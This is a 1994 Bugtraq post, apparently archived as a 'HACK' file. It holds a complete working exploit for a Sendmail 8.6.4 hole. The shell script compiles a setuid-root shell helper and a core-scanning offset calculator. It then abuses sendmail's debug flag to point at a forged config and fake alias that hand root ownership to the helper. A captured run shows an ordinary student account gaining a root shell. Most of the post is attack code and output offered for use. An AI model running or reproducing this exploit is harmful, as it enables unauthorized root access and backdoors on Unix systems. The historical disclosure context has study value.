************************************************************************** HACK: Sendmail 8.6.4: Program and script to obtain a root shell System: Unix Source: james abendchan (jwa@naucse.cse.nau.edu) from Bugtraq ************************************************************************** What follows is a sample run exercising the latest sendmail hole and the script used to exploit this hole. This is a re-send; I neglected to escape the "." in the sendmail script, leaving the program slightly truncated. To fix this, I have escaped the . so prior to executing this you must remove the \. (does that make any sense? :-) There was also a small problem with nested quotes pointed out by Peter Wemm which I have fixed. This is the "small version" of the script; it assumes you have a sane sendmail.cf. In this manner, it is not a particularly robust "breakin script" but I believe it does illustrate how to exploit the bug. This program uses "calc.c," the program mentioned by Timothy Newsham in an earlier message. The program has been modified slightly so that it gives better results (it would occasionally fail to locate the offset of a config given a buggy sendmail. The fix is to force a sync() after it generates a coredump.) The remainder of the program was written by myself and a fellow student, Steven Dake. We have held off on releasing this script until we were able to notify the people responsible for system security at NAU. Locals subscribing to this digest beware; sendmail on our machines has been patched! :-) Script started on Thu Mar 24 00:54:54 1994 [pine] [1] date Thu Mar 24 00:54:57 MST 1994 [pine] [2] whoami jwa [pine] [3] id uid=4473(jwa) gid=400(student) [pine] [4] ls -l sendbug.sh -rwx------ 1 jwa student 4893 Mar 24 00:46 sendbug.sh* [pine] [5] sendbug.sh Creating setid0 ... Creating calc... Scanning core image for /nau/local/lib/mail/sendmail.cf... Creating alias.sh ... Creating fake alias file... Faking alias pointer in new config file... Creating the sendmail script... Executing /usr/lib/sendmail - d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429 4935554.109,4294935555.46,4294935556.9 Version 8.6.4 220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994 00:55:21 -0700 220 ESMTP spoken here 250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you 250 ... Sender ok 250 ... Recipient ok 354 Enter mail, end with "." on a line by itself 250 AAA01803 Message accepted for delivery 503 Need MAIL before RCPT 503 Need MAIL command 500 Command unrecognized 500 Command unrecognized 221 pine.cse.nau.edu closing connection setid0 is a suid shell. executing... executing /bin/csh... pine# whoami root pine# id uid=0(root) gid=0(root) pine# exit pine# end of script. .. and here's the program. #!/bin/sh # exploit new sendmail bug to give us a root shell # 24 mar 94 jwa/scd @nau.edu # "short version" # tested on sunos 5.2/sendmail 8.6.4 # location of sendmail SENDMAIL=/usr/lib/sendmail # location of original sendmail.cf file CONFIG=/nau/local/lib/mail/sendmail.cf #CONFIG=`strings $SENDMAIL | grep sendmail.cf` # program to execute as root SHELL=/bin/csh TEMPDIR=/tmp/sendbug-tmp.$$ mkdir $TEMPDIR chmod 700 $TEMPDIR cd $TEMPDIR cp $SENDMAIL sm chmod 700 sm echo "Creating setid0 ..." cat > setid.c << _EOF_ /* set uid to zero, thus escaping the annoying csh and solaris sh * problem.. * * if (getuid() != geteuid()) { * printf("permission denied, you root-hacker you.\n"); * exit(1); * } * * .. must be run euid 0, obviously. with no args it runs /bin/sh, * otherwise it runs the 1st arg. */ #include main(argc, argv) int argc; char *argv[]; int uid; setuid(0); setgid(0); seteuid(0); /* probabally redundant. */ setegid(0); uid = getuid(); if (uid != 0) { printf("setuid(0); failed! aborting..\n"); exit(1); } if (argc !=2) { printf("executing /bin/sh...\n"); system("/bin/sh"); } else { printf("executing %s...\n", argv[1]); system(argv[1]); } _EOF_ cc -o setid0 setid.c echo "Creating calc..." cat > calc.c << _EOF_ /* * Determines offset in sendmail of * sendmail.cf file location. * author: timothy newsham */ #include gencore() int pid; int fd[2]; if(pipe(fd) < 0) { perror("pipe"); exit(1); return(0); } pid = fork(); if(!pid) { int f = open("./out", O_RDWR|O_CREAT, 0666); dup2(f, 1); dup2(fd[0], 0); close(f); close(fd[1]); close(fd[0]); execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0); perror("exec"); exit(0); } else { sleep(2); kill(pid, 11); } close(fd[0]); close(fd[1]); main(argc,argv) char **argv; int argc; unsigned int ConfFile,tTdvect,off; gencore(); sync(); /* grr. */ tTdvect = find("ZZZZZZZZ", "core"); ConfFile = find(argv[1], "core"); if(!tTdvect || !ConfFile) { return(1); } off = ConfFile - tTdvect; printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n", off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \ off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10); int find(pattern, file) char *pattern,*file; int fd; int i, addr; char c; fd = open(file, 0); i = 0; addr = 0; while(read(fd, &c, 1) == 1) { if(pattern[i] == c) i++; else i=0; if(pattern[i] == '\0') { addr -= strlen(pattern); return(addr); } addr++; } return(0); _EOF_ cc calc.c -o calc echo "Scanning core image for $CONFIG..." DEBUGFLAGS=`calc $CONFIG` echo "Creating alias.sh ..." echo "#!/bin/sh # this program will be executed when mail is sent to the fake alias. # since solaris sh and csh and tcsh refuse to run when euid != realuid, # we instead run the program we compiled above. /bin/chmod 6777 $TEMPDIR/setid0 /bin/chown root $TEMPDIR/setid0 /bin/sync " > alias.sh chmod 755 alias.sh echo "Creating fake alias file..." echo "yash: |$TEMPDIR/alias.sh" > aliases echo "Faking alias pointer in new config file..." egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf echo " # hacks follow OA/$TEMPDIR/aliases # our fake alias file Ou0 # user ID to run as Og0 # group ID to run as DZWHOOP-v1.0" >> /tmp/sm.cf echo "Creating the sendmail script..." cat > sendmail.script << _EOF_ helo mail from: rcpt to: data yet another sendmail hole? suid whoop? \. # oops.. delete \ prior to execution quit _EOF_ echo "Executing $SENDMAIL $DEBUGFLAGS -bs..." $SENDMAIL $DEBUGFLAGS -bs < sendmail.script # give it time to execute. sleep 4 # cleanup in 5 seconds (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) & if [ -u setid0 ] then echo "setid0 is a suid shell. executing..." cd / $TEMPDIR/setid0 /bin/csh echo "end of script." exit 0 else echo "setid0 is not suid; script failed." echo "apparently, you don't have the bug. celebrate :-)" exit 1 fi